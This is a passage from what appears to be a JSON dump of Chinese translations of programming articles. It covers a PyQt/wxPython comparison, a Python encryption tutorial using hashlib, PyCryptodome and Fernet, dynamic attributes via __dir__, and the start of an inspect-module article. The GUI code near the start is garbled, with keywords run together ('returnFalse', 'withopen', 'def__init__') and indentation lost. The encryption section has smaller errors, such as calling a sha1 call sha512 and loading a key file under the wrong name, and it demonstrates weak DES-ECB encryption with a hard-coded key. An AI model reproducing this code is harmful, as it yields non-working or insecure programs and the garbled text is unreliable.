self.setMenuWidget(menubar)\n\n        self.setMenuBar(menubar)\n\n        self.setGeometry(200,200,480,320)\n\n        self.setWindowTitle('TextEdit')\n\n        self.show()\n\n    def copyFunc(self):\n\n        self.text.copy()\n\n    def pasteFunc(self):\n\n        self.text.paste()\n\n    def unSaved(self):\n\n        destroy =self.text.document().isModified()\n\n        print(destroy)\n\n\n        if destroy ==False:\n\n            returnFalse\n\n        else:\n\n            detour = QMessageBox.question(self,\n\n                            \"Hold your horses.\",\n\n                            \"File has unsaved changes. Save now?\",\n\n                            QMessageBox.Yes|QMessageBox.No|\n\n                            QMessageBox.Cancel)\n\n            if detour == QMessageBox.Cancel:\n\n                returnTrue\n\n            elif detour == QMessageBox.No:\n\n                returnFalse\n\n            elif detour == QMessageBox.Yes:\n\n                returnself.saveFile()\n\n\n        returnTrue\n\n    def saveFile(self):\n\n        self.filename= QFileDialog.getSaveFileName(self,'Save File',os.path.expanduser('~'))\n\n        f =self.filename[0]\n\n        withopen(f,\"w\")as CurrentFile:\n\n            CurrentFile.write(self.text.toPlainText())\n\n        CurrentFile.close()\n\n    def newFile(self):\n\n        ifnotself.unSaved():\n\n            self.text.clear()\n\n    def openFile(self):\n\n        filename, _ = QFileDialog.getOpenFileName(self,\"Open File\",'',\"All Files (*)\")\n\n        try:\n\n            self.text.setText(open(filename).read())\n\n        except:\n\n            True\n\n    def closeEvent(self, event):\n\n        ifself.unSaved():\n\n            event.ignore()\n\n        else:\n\n            exit\n\n    def main():\n\n    app = QApplication(sys.argv)\n\n    editor = TextEdit()\n    sys.exit(app.exec_())\n\n    if __name__ =='__main__':\n\n    main()\n\n\n\nThe foundational widget in wxPython is the **wx.Window**. Everything in wxPython, whether it's an actual window or just a button, checkbox, or text label, is based upon the **wx.Window** class. If there were awards for the most erroneously named class, **wx.Window** would be overlooked because it's *so* badly named that no one would suspect it of being wrong. I've been told getting used to **wx.Window** not being a window takes years, and that must be true, because I make that mistake every time I use it.\n\nThe **wx.Frame** class plays the traditional role of what you and I think of as a window on a desktop. To use **wx.Frame** to create an empty window:\n\n\n    #!/usr/bin/env python\n    # -*- coding: utf-8 -*-\n\n    import wx\n\n    class Myframe(wx.Frame):\n\n    def__init__(self, parent, title):\n\n        super(Myframe,self).__init__(parent, title=title,\n\n                                      size=(520,340))\n\n        self.Centre()\n\n        self.Show()\n\n    if __name__ =='__main__':\n\n    app = wx.App()\n\n    Myframe(None, title='Just an empty frame')\n\n            app.MainLoop()\n\n\n\nPlace other widgets inside of a **wx.Frame** window, and then you're building a GUI application. For example, the **wx.Panel** widget is similar to a **div** in HTML with absolute size constraints, so you would use it to create panels within your main window (except it's not a window, it's a **wx.Frame**).\n\nWxPython has fewer convenience functions when compared to PyQt. For instance, copy and paste functionality is built right into PyQt, while it has to be coded by hand in wxPython (and is still partially subject to the platform it runs on). Some of these are handled graciously by a good desktop with built-in features, but for feature parity with a PyQt app, wxPython requires a little more manual work.\n\n![wx.Frame](https://opensource.com/sites/default/files/wxframe.png)\n\nwx.Frame\n\nA simple text editor in wxPython:\n\n\n\n    #!/usr/bin/env python\n    # a minimal text editor to demo wxPython\n\n    # GNU All-Permissive License\n    # Copying and distribution of this file, with or without modification,\n    # are permitted in any medium without royalty provided the copyright\n    # notice and this notice are preserved.  This file is offered as-is,\n    # without any warranty.\n\n    import wx\n    importos\n\n    class TextEdit(wx.Frame):\n    def__init__(self,parent,title):\n\n        wx.Frame.__init__(self,parent,wx.ID_ANY, title, size=(520,340))\n\n        menuBar  = wx.MenuBar()\n\n        menuFile = wx.Menu()\n\n        menuBar.Append(menuFile,\"&File\")\n\n        menuFile.Append(1,\"&Open\")\n\n        menuFile.Append(2,\"&Save\")\n\n        menuFile.Append(3,\"&Quit\")\n\n        self.SetMenuBar(menuBar)\n\n        wx.EVT_MENU(self,1,self.openAction)\n\n        wx.EVT_MENU(self,2,self.saveAction)\n\n        wx.EVT_MENU(self,3,self.quitAction)\n\n        self.p1= wx.Panel(self)\n\n        self.initUI()\n\n    def initUI(self):\n\n        self.text= wx.TextCtrl(self.p1,style=wx.TE_MULTILINE)\n\n        vbox = wx.BoxSizer(wx.VERTICAL)\n\n        vbox.Add(self.p1,1, wx.EXPAND | wx.ALIGN_CENTER)\n\n        self.SetSizer(vbox)\n\n        self.Bind(wx.EVT_SIZE,self._onSize)\n\n        self.Show()\n\n    def _onSize(self, e):\n\n        e.Skip()\n\n        self.text.SetSize(self.GetClientSizeTuple())\n\n    def quitAction(self,e):\n\n        ifself.text.IsModified():\n\n            dlg = wx.MessageDialog(self,\"Quit? All changes will be lost.\",\"\",wx.YES_NO)\n\n            if dlg.ShowModal()== wx.ID_YES:\n\n                self.Close(True)\n\n            else:\n\n                self.saveAction(self)\n\n        else:\n\n            exit()\n\n    def openAction(self,e):\n\n        dlg = wx.FileDialog(self,\"File chooser\",os.path.expanduser('~'),\"\",\"*.*\", wx.OPEN)\n\n        if dlg.ShowModal()== wx.ID_OK:\n\n            filename = dlg.GetFilename()\n\n            dir= dlg.GetDirectory()\n\n            f =open(os.path.join(dir, filename),'r')\n\n            self.text.SetValue(f.read())\n\n            f.close()\n\n        dlg.Destroy()\n\n    def saveAction(self,e):\n\n        dlg = wx.FileDialog(self,\"Save as\",os.path.expanduser('~'),\"\",\"*.*\", wx.SAVE | wx.OVERWRITE_PROMPT)\n\n        if dlg.ShowModal()== wx.ID_OK:\n\n            filedata =self.text.GetValue()\n\n            filename = dlg.GetFilename()\n\n            dir= dlg.GetDirectory()\n\n            f =open(os.path.join(dir, filename),'w')\n\n            f.write(filedata)\n\n            f.close()\n\n        dlg.Destroy()\n\n    def main():\n\n    app = wx.App(False)\n\n    view = TextEdit(None,\"TextEdit\")\n\n    app.MainLoop()\n\n    if __name__ =='__main__':\n\n    main()\n\n\n\n## Which one should you use?\n\nBoth the PyQt and wxPython GUI toolkits have their strengths.\n\nWxPython is mostly simple, and when it's not simple, it's intuitive to a Python programmer who's not afraid to hack a solution together. You don't find many instances of a \"wxWidget way\" into which you have to be indoctrinated. It's a toolkit with bits and bobs that you can use to throw together a GUI. If you're targeting a user space that you know already has GTK installed, then wxPython taps into that with minimal dependencies.\n\nAs a bonus, it uses native widgets, so your applications ought to look no different than the applications that come preinstalled on your target computers.\n\nDon't take wxPython's claim of being cross-platform too much to heart, though. It sometimes has install issues on some platforms, and it hasn't got that many layers of abstraction to shield you from differences between platforms.\n\nPyQt is big, and will almost always require some installation of several dependencies (especially on non-Linux and non-BSD targets). Along with all that hefty code comes a lot of convenience. Qt does its best to shield you from differences in platforms; it provides you with a staggering number of prebuilt functions and widgets and abstractions. It's well supported, with plenty of companies relying on it as their foundational framework, and some of the most significant open source projects use and contribute to it.\n\nIf you're just starting out, you should try a little of each to see which one appeals to you. If you're an experienced programmer, try one you haven't used yet, and see what you think. Both are open source, so you don't have to choose just one. The important thing to know is when to use which solution.\n\nHappy hacking.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/python-3-an-intro-to-encryption.md",
    "content": ">* 原文链接 : [Python 3: An Intro to Encryption](http://www.blog.pythonlibrary.org/2016/05/18/python-3-an-intro-to-encryption/)\n* 原文作者 : [Mike](http://www.blog.pythonlibrary.org/author/mld/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Yushneng](https://github.com/rainyear)\n* 校对者: [Zheaoli](https://github.com/Zheaoli), [joyking7](https://github.com/joyking7)\n\n# 探索 Python 3 加密技术\n\nPython 3 没有太多用于处理加密的标准库，通常以哈希库作为替代。在本章节中我们将简单了解一下 `hashlib`，但重点还是集中在两个第三方库：PyCrypto 和 cryptography。我们将会学习如何使用这些库对字符串进行加密和解密。\n\n### 哈希法\n\n如果你需要安全哈希或密文信息的算法，那么可以使用 **`hashlib`** 模块所提供的 Python 标准库，它提供 SHA1，SHA224，SHA256，SHA384，SHA512 等 FIPS 安全哈希算法以及 RSA MD5 算法。Python 也支持 adler32 和 crc32 哈希函数，不过它们由 **`zlib`** 模块提供。\n\n哈希算法最常用于对密码进行加密，从而保存密码的哈希值而非明文密码。当然，哈希算法必须足够好否则就会被破译。哈希算法的另一用途是获取文件的哈希值并将其与文件分开传递，接收者就可以据此判断收到的文件与哈希值是否匹配，如果匹配这说明在传递过程中文件没有被人篡改。\n\n让我们试着生成一个 md5 哈希值：\n\n    >>> import hashlib\n    >>> md5 = hashlib.md5()\n    >>> md5.update('Python rocks!')\n    Traceback (most recent call last):\n      File \"<pyshell#5>\"</pyshell#5>, line 1, in <module>\n        md5.update('Python rocks!')\n    TypeError: Unicode-objects must be encoded before hashing\n    >>> md5.update(b'Python rocks!')\n    >>> md5.digest()\n    b'\\x14\\x82\\xec\\x1b#d\\xf6N}\\x16*+[\\x16\\xf4w'\n\n让我们花点时间分解一下这个过程。首先，我们引入了 **`hashlib`** 模块并创建了一个 md5 HASH 对象。接下来我们向这个对象添加了一些文本字符，但是却得到错误信息。要使用 md5 哈希算法，你必须传递字节串而不是普通的字符串。于是我们改用字节串并调用 **`digest`** 方法获取我们想要的哈希值。如果你想要十六进制的密文，我们也可以做到：\n\n    >>> md5.hexdigest()\n    '1482ec1b2364f64e7d162a2b5b16f477'\n\n实际上有更便捷的方法产生哈希值，在创建 sha512 哈希值的时候我们可以这样做：\n\n    >>> sha = hashlib.sha1(b'Hello Python').hexdigest()\n    >>> sha\n    '422fbfbc67fe17c86642c5eaaa48f8b670cbed1b'\n\n正如你所见，我们可以在创建哈希对象实例的同时调用密文算法，然后将其结果打印出来。我选择 sha1 哈希算法是因为它的结果更短能够更好地适应页面。但同样也更不安全，你也可以随便尝试一下上面列举的其它算法。\n\n### 密钥派生\n\nPython 内置标准库对密钥派生的支持非常有限。实际上 `hashlib` 提供的唯一方法是 **`pbkdf2_hmac`**，实现的是 PKCS#5 基于密码的密钥派生函数2（PBKDF2 译者注：这里作者原意是pbkdf2_hmac是基于PBKDF2的实现，详细细节可以参看PKCS#5标准，即RFC6070标准 ），它利用 HMAC 作为伪随机函数。你也可以用自己的算法来完成对密码的哈希加密，只要支持 `salt` 和迭代。例如，如果你用 SHA-256 你可能需要一个长度至少为16个字节的 `salt` 和至少 100,000 次迭代。\n\n简单解释一下，`salt` 是一个随机数据，用来和密码加到一起进行哈希加密，从而使得更难从哈希值“解哈希”得到密码。基本上可以保护你的密码不受字典攻击和预计算彩虹表攻击（译者注:彩虹表是通过实现计算一系列字符集的hash值的数据，然后通过hash后的数据，反查原文的攻击方式）。\n\n让我们来看一个简单的例子：\n\n    >>> import binascii\n    >>> dk = hashlib.pbkdf2_hmac(hash_name='sha256',\n            password=b'bad_password34',\n            salt=b'bad_salt',\n            iterations=100000)\n    >>> binascii.hexlify(dk)\n    b'6e97bad21f6200f9087036a71e7ca9fa01a59e1d697f7e0284cd7f9b897d7c02'\n\n这里我们使用一个简单的 salt 数据，但经过 100,000 次迭代来对密码创建一个 SHA256 哈希对象。。当然，实际上并不推荐 SHA 作为密码的密钥派生算法，而是应该使用 **`scrypt`** 之类的方法。另外一个很好的选择是使用第三方包：`bcrypt`，它的设计初衷就是为了专门应对密码哈希加密的。\n\n### PyCryptodome\n\n`PyCryto` 可能是 Python 最著名的第三方加密包。可惜的是 `PyCryto` 的开发在 2012 年就停止了。但其他人在不停地发布新版本的 `PyCryto` 让你可以在 Python 3.5 中使用，如果你不介意使用第三方库作为加密方法的话。例如，我发现了 Github 上一个 Python 3.5 版本的二进制安装包（https://github.com/sfbahr/PyCrypto-Wheels）。\n\n幸运的是有一个名为 `PyCrytodome` 的 fork 项目可以替代 `PyCrypto`。在 Linux 上可以用 `pip` 命令安装：\n\n`pip install pycryptodome`\n\nWindows 系统上有点不同：\n\n`pip install pycryptodomex`\n\n如果安装过程中遇到问题，可能是因为你没有安装正确的依赖包或者你需要 Windows 系统下面的编译器，可以查看 `PyCryptodome` [网站](http://pycryptodome.readthedocs.io/en/latest/) 寻找更多安装的帮助或联系支持。\n\n另外值得一提的是 `PyCryptodome` 有许多针对最后一版 `PyCryto` 的增强版本，值得你花时间去访问它的首页查看一下有哪些新的特性。\n\n#### 加密字符串\n\n看完他们的首页之后，我们可以继续看几个例子。首先我们用 DES 来加密一个字符串：\n\n    >>> from Crypto.Cipher import DES\n    >>> key = 'abcdefgh'\n    >>> def pad(text):\n            while len(text) % 8 != 0:\n                text += ' '\n            return text\n    >>> des = DES.new(key, DES.MODE_ECB)\n    >>> text = 'Python rocks!'\n    >>> padded_text = pad(text)\n    >>> encrypted_text = des.encrypt(text)\n    Traceback (most recent call last):\n      File \"<pyshell#35>\"</pyshell#35>, line 1, in <module>\n        encrypted_text = des.encrypt(text)\n      File \"C:\\Programs\\Python\\Python35-32\\lib\\site-packages\\Crypto\\Cipher\\blockalgo.py\", line 244, in encrypt\n        return self._cipher.encrypt(plaintext)\n    ValueError: Input strings must be a multiple of 8 in length\n    >>> encrypted_text = des.encrypt(padded_text)\n    >>> encrypted_text\n    b'>\\xfc\\x1f\\x16x\\x87\\xb2\\x93\\x0e\\xfcH\\x02\\xd59VQ'\n\n这段代码看起来可能有点绕，我们花点时间了将它分解一下。首先，需要注意 DES 加密所需要的密钥长度应为8字节，因此我们设定变量 `key` 为这一长度的字符串。被加密的字符串长度必须是 8 的倍数，因此我们创建一个 **`pad`** 方法来将字符串用空格填充直至长度为8的倍数。接下来我们创建一个 DES 实例和一个填充过的字符串。我们试一下对原始字符串进行加密结果会导致 **`ValueError`** ，我们已经知道将填充过的字符串传递给加密算法，正如你所见，我们可以对字符串进行加密了！\n\n\n当然这个例子还没结束，我们需要知道如何解密：\n\n    >>> des.decrypt(encrypted_text)\n    b'Python rocks!   '\n\n幸运的是，解密方法非常简单，我们只需要调用 `des` 对象的 **`decrypt`** 方法就可以得到原始的字节串。我们接下来的任务是学习如何利用 `PyCrypto` 的 RSA 算法对文件进行加密和解密，首先我们需要生成 RSA 密钥！\n\n#### 生成一个 RSA 密钥\n\n如果你想要通过 RSA 算法加密你的数据，那么你将需要一对 RSA 公/私钥组合或者自己生成一对。在这个例子中，我们将会自己生成一对。由于非常简单，我们直接在 Python 解释器中完成：\n\n    >>> from Crypto.PublicKey import RSA\n    >>> code = 'nooneknows'\n    >>> key = RSA.generate(2048)\n    >>> encrypted_key = key.exportKey(passphrase=code, pkcs=8,\n            protection=\"scryptAndAES128-CBC\")\n    >>> with open('/path_to_private_key/my_private_rsa_key.bin', 'wb') as f:\n            f.write(encrypted_key)\n    >>> with open('/path_to_public_key/my_rsa_public.pem', 'wb') as f:\n            f.write(key.publickey().exportKey())\n\n首先我们引入 从 **`Crypto.PublicKey`** 引入 **RSA** ，然后创建一个密码。接下来我们生成一个 2048 位的 RSA 对象的实例。为了生成私钥，我们需要调用 RSA 实例的 **`exportKey`** 方法并传递给它刚刚创建的密码，PKCS 标准算法将会用它保护我们的私钥。接下来我们将生成的私钥写入文件。\n\n下一步我们通过 RSA 实例的 **`publickey`** 方法生成公钥，我们在这段代码中用了简写的方式将 **`publickey`** 和 **`exportKey`** 方法串接起来，最后也将结果写入文件。\n\n#### 对文件进行加密\n\n现在我们有了一对私钥和公钥，我们可以对我们的数据进行加密并写入文件。下面是一个非常标准的例子：\n\n    from Crypto.PublicKey import RSA\n    from Crypto.Random import get_random_bytes\n    from Crypto.Cipher import AES, PKCS1_OAEP\n\n    with open('/path/to/encrypted_data.bin', 'wb') as out_file:\n        recipient_key = RSA.import_key(\n            open('/path_to_public_key/my_rsa_public.pem').read())\n        session_key = get_random_bytes(16)\n\n        cipher_rsa = PKCS1_OAEP.new(recipient_key)\n        out_file.write(cipher_rsa.encrypt(session_key))\n\n        cipher_aes = AES.new(session_key, AES.MODE_EAX)\n        data = b'blah blah blah Python blah blah'\n        ciphertext, tag = cipher_aes.encrypt_and_digest(data)\n\n        out_file.write(cipher_aes.nonce)\n        out_file.write(tag)\n        out_file.write(ciphertext)\n\n前三行完成对 `PyCryptodome` 的引入，接下来打开将要写入的文件。然后我们将公钥读入变量并创建一个16字节长的 session key。在这个例子中我们用了混合加密方法，因此我们使用最优非对称加密填充的 PKCS#1 OAEP。这让我们可以将任意长度的数据写入文件。接下来我们创建 AES 密文，创建一些数据并进行加密，这一方法会返回加密后的文本和 MAC 值。最终我们将 `nonce`，`MAC`(或`tag`)以及加密后的文本写入文件。\n\n说明一下，`nonce` 是一个任意数字，仅用于密文通信。它们通常是随机或伪随机数。对于 AES 来说，它的长度至少要是16位。你可以用你的文本编辑器打开加密后的文件看一下，只能看到一堆乱码。\n\n现在让我们学一下如何解密数据：\n\n    from Crypto.PublicKey import RSA\n    from Crypto.Cipher import AES, PKCS1_OAEP\n\n    code = 'nooneknows'\n\n    with open('/path/to/encrypted_data.bin', 'rb') as fobj:\n        private_key = RSA.import_key(\n            open('/path_to_private_key/my_rsa_key.pem').read(),\n            passphrase=code)\n\n        enc_session_key, nonce, tag, ciphertext = [ fobj.read(x)\n                                                    for x in (private_key.size_in_bytes(),\n                                                    16, 16, -1) ]\n\n        cipher_rsa = PKCS1_OAEP.new(private_key)\n        session_key = cipher_rsa.decrypt(enc_session_key)\n\n        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)\n        data = cipher_aes.decrypt_and_verify(ciphertext, tag)\n\n    print(data)\n\n如果前面的例子你都跟上了，那这段代码应该很容易读懂了。在这个例子中，我们以二进制模式打开加密文件，然后导入私钥。要注意在导入私钥的时候，必须给出你的密码，否则将会出错。接下来我们读取加密文件，需要注意的是先读取私钥，然后是16位长的 `nonce`，接下来是另外 16 位长的标签，最后剩下的才是我们的数据。\n\n接下来我们需要解密 `session key`，重新生成 AES key 并解密数据。\n\n你可以用 `PyCryptodome` 来做更多的事，但是在这里我们需要继续看看 Python 中解决加密问题还有别的什么方法可用。\n\n### `cryptography` 包\n\n**`cryptography`** 包的目的是”给人类使用的加密工具”，就像**`requests`**是“给人类使用的HTTP”工具包一样。其理念是让你可以用简单的方法创建安全、易用的加密方案。如果你需要，你也可以深入到底层加密原理，这就要求你必须知道你在做什么，而且很有可能最终得到一些并不那么安全的结果。\n\n如果你正在用 Python 3.5，你可以像这样使用 `pip` 安装：\n\n`pip install cryptography`\n\n你会发现 `cryptography` 自己安装了几个依赖包。假设这些都成功安装完成，我们可以试着来加密一些文本。让我们用一下 **`Fernet`** 对称加密算法。Fernet 算法保证你加密的任何消息除非有你自己定义的密钥都无法修改或读取。Fernet 同时也支持通过 **`MultiFernet`** 方法对密钥进行旋转。让我们来看一个简单的例子：\n\n    >>> from cryptography.fernet import Fernet\n    >>> cipher_key = Fernet.generate_key()\n    >>> cipher_key\n    b'APM1JDVgT8WDGOWBgQv6EIhvxl4vDYvUnVdg-Vjdt0o='\n    >>> cipher = Fernet(cipher_key)\n    >>> text = b'My super secret message'\n    >>> encrypted_text = cipher.encrypt(text)\n    >>> encrypted_text\n    (b'gAAAAABXOnV86aeUGADA6mTe9xEL92y_m0_TlC9vcqaF6NzHqRKkjEqh4d21PInEP3C9HuiUkS9f'\n     b'6bdHsSlRiCNWbSkPuRd_62zfEv3eaZjJvLAm3omnya8=')\n    >>> decrypted_text = cipher.decrypt(encrypted_text)\n    >>> decrypted_text\n    b'My super secret message'\n\n首先我们需要引入 Fernet，然后生成一个密钥。这里将密钥打印出来看看它是什么。如你所见，它是一个随机的字节串。你也可以多运行几次 **`generate_key`** 方法，每次的结果应该都不相同。接下来我们基于这一密钥创建 Fernet 密文实例。\n\n有了密文之后我们可以用来加密和解密我们的消息，可以用**`encrypt`**方法实现对必要消息的加密。接下来我讲加密后的结果打印出来可以看出来已经无法正常阅读了。调用 **`decrypt`** 方法可以对消息进行解密，结果可以得到最初的原始消息。\n\n### 总结\n\n本章只简单介绍了 `PyCryptodome` 和 `cryptography` 包最基本的用法，可以让你对如何通过 Python 对字符和文件进行加密、解密有整体的了解。请一定要阅读文档并亲自实验尝试！\n\n### 相关阅读\n\n*   PyCrypto Wheels for Python 3 on [github](https://github.com/sfbahr/PyCrypto-Wheels)\n*   PyCryptodome [documentation](http://pycryptodome.readthedocs.io/en/latest/src/introduction.html)\n*   Python’s Cryptographic [Services](https://docs.python.org/3/library/crypto.html)\n*   The cryptography package’s [website](https://cryptography.io/en/latest/)\n"
  },
  {
    "path": "TODO/python-dynamic-attributes.md",
    "content": "> * 原文地址：[Python: Declaring Dynamic Attributes](http://amir.rachum.com/blog/2016/10/05/python-dynamic-attributes/)\n* 原文作者：[Amir Rachum](http://amir.rachum.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[冯志浩](https://github.com/fengzhihao123)，[Zheaoli](https://github.com/Zheaoli)\n\n# 带你声明 Python 中的动态属性\n\n2016 年 10 月 5 日\n\n以下实例均为 Python 3.5 版本，但同样适用于 Python 2.x 和 Python 3.x 版本。\n\n重写类中的 `__getattr__` 魔术方法是 Python 中实现动态属性的很普通的方法。试想有这样一个数据词典 `AttrDict`，它允许类似属性的方式访问其存储的键值对：\n\n    class AttrDict(dict):\n        def __getattr__(self, item):\n            return self[item]\n\n这个简化的 `AttrDict` 类允许以类似属性的方式获取数据字典的值，同时，它允许一种非常简单的方式来**设置**键值对的值。无论哪种情况下，它都可以这样做：\n\n    >>> attrd = AttrDict()\n    ... attrd[\"key\"] = \"value\"\n    ... print(attrd.key)\n    value\n\n重写 `__getattr__` 方法（和 `__setattr__` 方法）非常有用——这能够让你的构建远程过程调用（RPCs）单元的代码更具可读性。然而，动态属性也有令人沮丧的地方——它们在使用之前是不可见的！\n\n动态属性在交互的 shell 下有两大使用问题。第一个问题就是当用户使用 `dir` 方法去检查对象的 API 的时候，它们并不会出现：\n\n    >>> dir(attrd)  # 我想知道如何使用 attrd\n    ['__class__', '__contains__', ... 'keys', 'values']\n    >>> # 没有动态属性 [傲娇脸]\n\n第二个问题是自动完成——如果我们照常设置 `normal_attribute` 属性，大部分主流的 shell 环境 [1](http://amir.rachum.com/blog/2016/10/05/python-dynamic-attributes/#fn:1) 下都能自动完成。\n\n![](http://amir.rachum.com/images/posts/normal_attribute.png)\n\n但是以字典键值对的方式设置 `dynamic_attribute` 的时候并没有自动完成功能：\n\n![](http://amir.rachum.com/images/posts/dynamic_attribute_before.png)\n\n然而，你可以在实现动态属性的时候锦上添花地**实现 `__dir__` 方法**，这样不但能提高用户体验还能一石二鸟地解决以上两个问题。详见 [文章](https://docs.python.org/2/library/functions.html#dir)：\n\n> 如果对象内有名为 `__dir__()`的方法，方法被调用时必须返回属性列表。这使得对象可以实现一个自定义的 `__getattr__()` 或者 `__getattribute__()` 方法，来自定义 `dir()` 方法输出属性的方式。\n\n实现 `__dir__` 方法非常简单，只需返回对象的属性键名列表：\n\n    class AttrDict(dict):\n        def __getattr__(self, item):\n            return self[item]\n\n        def __dir__(self):\n            return super().__dir__() + [str(k) for k in self.keys()]\n\n这样 `dir(attrd)` 将会返回动态属性和普通属性。有趣的是，**shell 环境将会使用 `__dir__` 方法来进行自动完成提示**！因此我们毫不费力就实现了自动完成 [2](http://amir.rachum.com/blog/2016/10/05/python-dynamic-attributes/#fn:2)功能：\n\n![](http://amir.rachum.com/images/posts/dynamic_attribute_after.png)\n\n如对此文有**金玉良言**请前往 [Hacker News](https://news.ycombinator.com/item?id=12644164)，[/r/Programming](https://www.reddit.com/r/programming/comments/55zuip/python_declaring_dynamic_attributes/)，或者添加评论。\n欢迎**关注**我 [Twitter](https://twitter.com/AmirRachum)，[Facebook](https://www.facebook.com/amir.rachum.blog) 或者 [Google+](https://plus.google.com/collection/ku7PME) 。\n**感谢**[Ram Rachum](http://ram.rachum.com/) 校稿。"
  },
  {
    "path": "TODO/python-introspection-with-the-inspect-module.md",
    "content": "> * 原文地址：[How to write your own Python documentation generator](https://medium.com/python-pandemonium/python-introspection-with-the-inspect-module-2c85d5aa5a48#.hcqq6xtl8)\n* 原文作者：[Cristian Medina](https://medium.com/@tryexceptpass)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Zheaoli](https://github.com/Zheaoli)、[Zhiwei Yu](https://github.com/Zhiw)\n\n# 来写一个 Python 说明文档生成器吧\n\n我一开始学习 Python 的时候，我最喜欢的一件事就是坐在编译器前，使用内置的 `help` 函数检查类和方法，然后决定我接下来要怎么写。这个函数会引入一个对象并检查其内部成员，生成说明并且输出类似帮助文档的内容，帮助你了解该对象的使用方法。\n\n将 `help` 函数置入标准库最为美妙的一点就是它能直接从代码中输出说明内容，这也间接地助长了一些人的懒惰，比如像我这种不愿意多花时间来维护文档的人。尤其是你已经为你的变量和函数起好了直白的名字，`help` 函数能够给你的函数和类添加说明，也能够通过下划线前缀正确地识别私有和受保护的成员。\n\n    Help on class list in module builtins:\n\n    class list(object)\n     |  list() -> new empty list\n     |  list(iterable) -> new list initialized from iterable's items\n     |\n     |  Methods defined here:\n     |\n     |  __add__(self, value, /)\n     |      Return self+value.\n\n    ...\n\n     |  __iter__(self, /)\n     |      Implement iter(self).\n\n    ...\n\n     |  append(...)\n     |      L.append(object) -> None -- append object to end\n     |\n     |  extend(...)\n     |      L.extend(iterable) -> None -- extend list by appending elements from the iterable\n     |\n     |  index(...)\n     |      L.index(value, [start, [stop]]) -> integer -- return first index of value.\n     |      Raises ValueError if the value is not present.\n\n     ...\n\n     |  pop(...)\n     |      L.pop([index]) -> item -- remove and return item at index (default last).\n     |      Raises IndexError if list is empty or index is out of range.\n     |\n     |  remove(...)\n     |      L.remove(value) -> None -- remove first occurrence of value.\n     |      Raises ValueError if the value is not present.\n\n     ...\n\n     |  ----------------------------------------------------------------------\n     |  Data and other attributes defined here:\n     |\n     |  __hash__ = None\n\n\n在 Python 编译器中使用 `help(list)` 会输出以上内容\n\n实际上，help 函数使用了 `pydoc` 模块来生成输出的内容，该模块也可以在命令行中运行生成任何引入模块的 .txt 或者 .html 格式的说明文档。\n\n* * *\n\n不久前，我需要写一些更加详细、正式的设计文档，作为 Markdown 的忠实拥趸，我决定去看看 [`mkdocs`](http://www.mkdocs.org/) 能否给我提供有效内容。这个模块能够很容易地将你的 markdown 文本转换成风格精美的网页，并且在你正式发布之前都可以做出修改。它提供了一个 [readthedocs](https://readthedocs.org/) 模板，还提供了一个简单的命令行界面，方便你将内容推到 [GitHub Pages](https://pages.github.com/) 上。\n\n完成最初的一些设计需求文档之后，我想给自己开发和现行的面向其他模块的接口添加细节描述。因为我已经给大多数的方法都写了定义，所以我想从源文件中自动生成引用页面，并且想使用 markdown 格式以便日后我可以和其他文件一起用 mkdocs 渲染成 html 文档。\n\n然而，项目中并没有默认使用 mkdocs 从源文件中生成 markdown 文件的方法，但是有插件可以做到。经过一阵子搜索和研究之后，我对网上找到的项目和插件感到很失望——许多都已经过时了，没有人维护，或者根本不能输出我想要的内容——所以我决定自己写。学习使用 inspect 模块是一件非常有趣的事情，之前我构建调试器的时候尝试过使用这个模块，具体可以参考这篇文章：[Hacking together a Simple Graphical Python Debugger](https://medium.com/@tryexceptpass/hacking-together-a-simple-graphical-python-debugger-efe7e6b1f9a8#.jqe3no3k9)）。\n\n> “Inspect 模块提供了一些非常有用的方法来获取当前的对象的信息……”——[Python 文档](https://docs.python.org/3.6/library/inspect.html)\n\n#### 来检查吧！\n\nInspect 是标准库中的模块，它不仅能够让检视低级别的 python `frame` 和 `code` 对象，还提供了许多方法来检查模块和类，能够帮助你找到可能感兴趣的内容。正如上文所言， pydoc 正是用它来生成帮助文档的。\n\n浏览在线文档时，你会发现有很多相关的函数，最重要的要数 `getmembers()`、`getdoc()` 和 `signature()`，还有许多用来给 `getmembers` 做筛选 `is...` 函数。通过这些函数，我们能够很容易地遍历函数，包括区分生成器和协程，并按需递归到任何类及其内部。\n\n#### 引入代码\n\n如果我们检视一个对象，无论什么对象，首先要做的就是提供将其引入命名空间的结构。为什么还要谈论引入呢？鉴于我们要做的事，有许多需要考虑的事，比如虚拟环境、自定义代码、标准模块和重复命名。这真如一团乱麻，一招棋错满盘皆输。\n\n确实有一些内容供我们选择，比较完善的要数 `pydoc` 中 [`safeimport`](https://github.com/python/cpython/blob/master/Lib/pydoc.py#L318)() 的复用了，它可以为我们照管一些特殊的案例，并且在出问题的时候抛出一个 `ErrorDuringImport` 异常。但是，如果我们的环境更加可控的时候，也可以简单地运行 `__import__(modulename)`。\n\n另一个需要铭记于心的就是代码的执行路径。或许会需要 `sys.path.append()` 一个目录来获取我们需要的模块。我是在被检查模块的路径中的一个目录内用命令行的方式执行的，所以我将当前目录添加到了系统路径中，这样就能够解决典型的引入路径问题。\n\n要谨记，我们的引入函数要这样写：\n\n    def generatedocs(module):\n        try:\n            sys.path.append(os.getcwd())\n            # Attempt import\n            mod = safeimport(module)\n            if mod is None:\n               print(\"Module not found\")\n\n            # 模块已被正确引入，我们来创建文档吧\n            return getmarkdown(mod)\n        except ErrorDuringImport as e:\n            print(\"Error while trying to import \" + module)\n\n#### 确定输出内容\n\n此时，你将会在脑海中构建一个如何组织生成的 markdown 